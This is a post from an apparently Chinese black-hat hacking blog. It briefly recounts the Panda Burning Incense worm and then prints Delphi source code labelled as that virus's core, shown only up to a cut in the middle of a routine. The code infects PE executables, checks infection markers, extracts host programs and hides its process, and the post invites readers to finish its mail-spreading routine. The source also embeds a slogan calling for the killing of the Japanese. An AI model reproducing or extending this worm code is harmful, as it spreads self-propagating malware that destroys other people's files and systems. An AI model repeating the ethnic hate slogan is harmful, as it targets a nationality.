七夕云黑帽博客-专注互联网络安全-webshell七夕,七夕黑帽博客,QQ905690245

熊猫烧香核心源码

2018-4-14 0:15 作者:Mr.刘 | 神兵利器 | 标签: 熊猫烧香核心源码

t0115ab71ad03f68dfe.png

熊猫烧香是一种恶性的计算机病毒,其与灰鸽子不同,是一种经过多次变种的“蠕虫病毒”变种,2006年10月16日由25岁的中国湖北武汉新洲区人李俊编写,拥有感染传播功能,2007年1月初肆虐网络,它主要通过下载的档案传染,受到感染的机器文件因为被误携带间接对其它计算机程序、系统破坏严重。
001 代码:--------------------------------------------------------------------------------
002 program Japussy;
003 uses
004 Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
005 const
006 HeaderSize = 82432; //病毒体的大小
007 IconOffset = $12EB8; //PE文件主图标的偏移量
008   
009 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
010 //查找2800000020的十六进制字符串可以找到主图标的偏移量
011   
012 {
013 HeaderSize = 38912; //Upx压缩过病毒体的大小
014 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
015   
016 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
017 }
018 IconSize = $2E8; //PE文件主图标的大小--744字节
019 IconTail = IconOffset + IconSize; //PE文件主图标的尾部
020 ID = $44444444; //感染标记
021   
022 //垃圾码,以备写入
023 Catchword = 'If a race need to be killed out, it must be Yamato. ' +
024 'If a country need to be destroyed, it must be Japan! ' +
025 '*** W32.Japussy.Worm.A ***';
026 {$R *.RES}
027 function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
028 stdcall; external 'Kernel32.dll'; //函数声明
029 var
030 TmpFile: string;
031 Si: STARTUPINFO;
032 Pi: PROCESS_INFORMATION;
033 IsJap: Boolean = False; //日文操作系统标记
034 { 判断是否为Win9x }
035 function IsWin9x: Boolean;
036 var
037 Ver: TOSVersionInfo;
038 begin
039 Result := False;
040 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
041 if not GetVersionEx(Ver) then
042 Exit;
043 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
044 Result := True;
045 end;
046 { 在流之间复制 }
047 procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
048 dStartPos: Integer; Count: Integer);
049 var
050 sCurPos, dCurPos: Integer;
051 begin
052 sCurPos := Src.Position;
053 dCurPos := Dst.Position;
054 Src.Seek(sStartPos, 0);
055 Dst.Seek(dStartPos, 0);
056 Dst.CopyFrom(Src, Count);
057 Src.Seek(sCurPos, 0);
058 Dst.Seek(dCurPos, 0);
059 end;
060 { 将宿主文件从已感染的PE文件中分离出来,以备使用 }
061 procedure ExtractFile(FileName: string);
062 var
063 sStream, dStream: TFileStream;
064 begin
065 try
066 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
067 try
068 dStream := TFileStream.Create(FileName, fmCreate);
069 try
070 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
071 dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
072 finally
073 dStream.Free;
074 end;
075 finally
076 sStream.Free;
077 end;
078 except
079 end;
080 end;
081 { 填充STARTUPINFO结构 }
082 procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
083 begin
084 Si.cb := SizeOf(Si);
085 Si.lpReserved := nil;
086 Si.lpDesktop := nil;
087 Si.lpTitle := nil;
088 Si.dwFlags := STARTF_USESHOWWINDOW;
089 Si.wShowWindow := State;
090 Si.cbReserved2 := 0;
091 Si.lpReserved2 := nil;
092 end;
093 { 发带毒邮件 }
094 procedure SendMail;
095 begin
096 //哪位仁兄愿意完成之?
097 end;
098 { 感染PE文件 }
099 procedure InfectOneFile(FileName: string);
100 var
101 HdrStream, SrcStream: TFileStream;
102 IcoStream, DstStream: TMemoryStream;
103 iID: LongInt;
104 aIcon: TIcon;
105 Infected, IsPE: Boolean;
106 i: Integer;
107 Buf: array[0..1] of Char;
108 begin
109 try //出错则文件正在被使用,退出
110 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
111 Exit;
112 Infected := False;
113 IsPE := False;
114 SrcStream := TFileStream.Create(FileName, fmOpenRead);
115 try
116 for i := 0 to $108 do //检查PE文件头
117 begin
118 SrcStream.Seek(i, soFromBeginning);
119 SrcStream.Read(Buf, 2);
120 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
121 begin
122 IsPE := True; //是PE文件
123 Break;
124 end;
125 end;
126 SrcStream.Seek(-4, soFromEnd); //检查感染标记
127 SrcStream.Read(iID, 4);
128 if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染